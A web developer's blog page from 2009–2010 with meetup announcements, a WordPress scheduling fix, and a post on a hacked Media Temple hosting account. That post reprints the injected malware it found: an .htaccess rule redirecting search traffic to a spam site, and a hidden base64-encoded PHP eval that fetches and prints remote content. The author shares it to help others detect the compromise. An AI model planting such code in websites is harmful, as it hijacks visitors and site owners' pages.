JeffreyBarke.net

The New York Web Standards Meetup will meet 17 March 2010 at reBar at 7:00 pm for "CSS3 and the Death of the Background Image, or Yet Another Talk on Progressive Enhancement (aka Death to IE6/7/Sometimes 8)."

The immense CSS3 proposal (which has been on the W3C's table for years) is now seeing a significant number of draft modules being implemented in browsers and most of these modules are explicitly geared toward reducing our time in Photoshop. In this comprehensive how-to, Marco Carag (TheKnot.com) will run through all the new properties you've been reading about and anticipating, including @font-face, rgba, gradients, drop-shadows, transforms and animation. Using both focused proof-of-concept pages and actual production examples from The Knot and other websites across the web, attendees will see the impact of CSS3 on the average front-end workflow and understand how it improves or affects your users' experience across all browsers.

Please contact theMechanism if you'd like to present at a future New York Web Standards meetup.

A List Apart's third annual survey:

For the third year in a row, good citizens of the web, we ask that you take a few minutes to tell us about your professional skills, educational background, career prospects, job benefits, and more.

Inspired by Molly Holzschlag at Standards.Next, I created a simple hue reference chart for working with HSLA.

It appears that the high quality YouTube hack stopped working in approximately June 2009. More information at My Digital Life and Twitter Vlog.

Rocketboom Tech's Ellie Rountree talks about generative music and interviews laptop musician Luke DuBois about his work in this medium. Originally posted to Rocketboom on 17 November 2009.

Source: Rocketboom

Update (2009-11-16): Given the large number of Grid-Service accounts hacked in a similar fashion, but not running WordPress, I've updated the title to reflect that this appears to be a MediaTemple problem and not due to WordPress. I still don't have any definitive answers, though, and haven't seen any direct statements from either company.

While moving a WordPress site from Media Temple's Grid-Service (gs) to one of their dedicated virtual (dv) servers today, I noticed some "odd" lines in the root .htaccess file:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://allvideo.org.uk/in.cgi?4&parameter=sf [R,L]

I immediately knew that this install of WordPress had been comprised, but, prior to deleting the lines, I decided to Google them to find out more information about the problem. I found a good post by Adrian Hanft, which recommended another post by Kyle Brady.

It appears that this exploit is targeted at Media Temple's (gs) account and can also affect Drupal sites. None of the WordPress installs on my (dv) server were affected. All of them were on my (gs) account, including a domain that had Flyspray installed, but not WordPress.

All of the infected domains had the above code in the root .htaccess as well the following code in the root index.php:

<!--yje35zfv8SU--><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.bangpass.com/t1/pps=brunette/assparade.html">assparade</a></font>
<?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Some people reported that blog posts were affected and that the posts had to be manually recreated. So far, I have not detected any compromised posts or any other affected files other than .htaccess and index.php.

This exploit has affected people running up to at least version 2.85 of WordPress. Supposedly Media Temple is blaming WordPress and WordPress is blaming Media Temple. Regardless of whose fault it is, if you're running WordPress on Media Temple's Grid-Service, you should check your site out.

Video from Michael Milton's Webcast, "Two Big Data Analysis Tricks for Everyone," presented on 28 October 2009.

Source: http://www.oreillynet.com/pub/e/1482

I'm not sure why it never happened before; I guess I never tried to schedule a post in WordPress (since 2.7, anyway) on a Media Temple (dv) server (even though most of our clients are on Media Temple and many of them use WordPress!). Regardless, it was happening now—the infamous "missed schedule" problem.

Initially, I thought the problem was due to our staging server being secured by basic authentication. I removed it, but the problem persisted. Then I turned to the WordPress forums, but to no avail. The best answer was that it was a server configuration problem (every other suggestion seemed like a snake oil remedy). However, knowing that it was a server configuration problem didn't really help, since I had no idea what the server configuration issue was or how to resolve it.

It turns out the answer was simple and only one Google query away:

… Media Temple's (dv) configuration was responsible for the "Missed schedule" errors I was getting in Wordpress.By default, the /etc/hosts file looks like this:

127.0.0.1 yourdomain.com yourdomain localhost localhost.localdomain

To execute cron tasks, Wordpress needs to post to the URL http://yourdomain.com/wp-cron.php?doing_wp_cron. This isn't usually a problem, but with the above hosts file and Plesk's Apache configuration, that URL will actually result in a 404 error.

To resolve this, SSH into your (dv) server and run the following commands:

vi /etc/hosts
Press I to enter insert mode
Change the hosts file to read:
127.0.0.1 localhost localhost.localdomain
xxx.xxx.xxx.xxx yourdomain.com yourdomain
Press ESC to exit insert mode and :wq to save your changes and exit.

That's it! There's no need to restart the server. Note—This is not necessary on Media Temple's (gs) service. Scheduling should work fine there.

Standards.Next comes to New York and would like to invite all interested Web developers and designers to attend and participate in a free event focused on CSS3.

Talks will range from a focus on CSS3 features related to color, typography and media; to discussions of Open Web concepts, current case studies and demos, as well as brainstorming sessions to openly work with and solve shared challenges within our industry.

Speakers include:

• Molly E. Holzschlag, who will speak on CSS3 color including HSLa and RGBa
• Andy Budd will speak on backgrounds and borders and other cool CSS3 design stuff
• Håkon Wium Lie, who will present on Web typography
• Pete LePage on HTML5 features in IE

Slides, commentary and tracked Tweets will be available at the Standards.Next website at http://www.standards-next.org. Hash tag: #standardsnext

The New York Web Standards Meetup will meet tomorrow (24 September 2009) at theMechanism at 7:00 pm.

Mike Taylor (Tunecore.com) and Jeffrey Barke (theMechanism) will continue last month's presentation on HTML5 by covering Web Forms 2.0 and the canvas, audio and video elements.

The canvas element can be used to draw graphics using JavaScript, while the audio and video elements permit native embedding of those media elements in the browser. Web Forms 2.0 provides, among other things, strongly-typed input fields, new attributes for defining constraints and new DOM interfaces

Please note—This meetup is currently full and the waiting list is quite long. If you know you won't be able to make it, please update your RSVP.

Please contact theMechanism if you'd like to present at a future New York Web Standards meetup.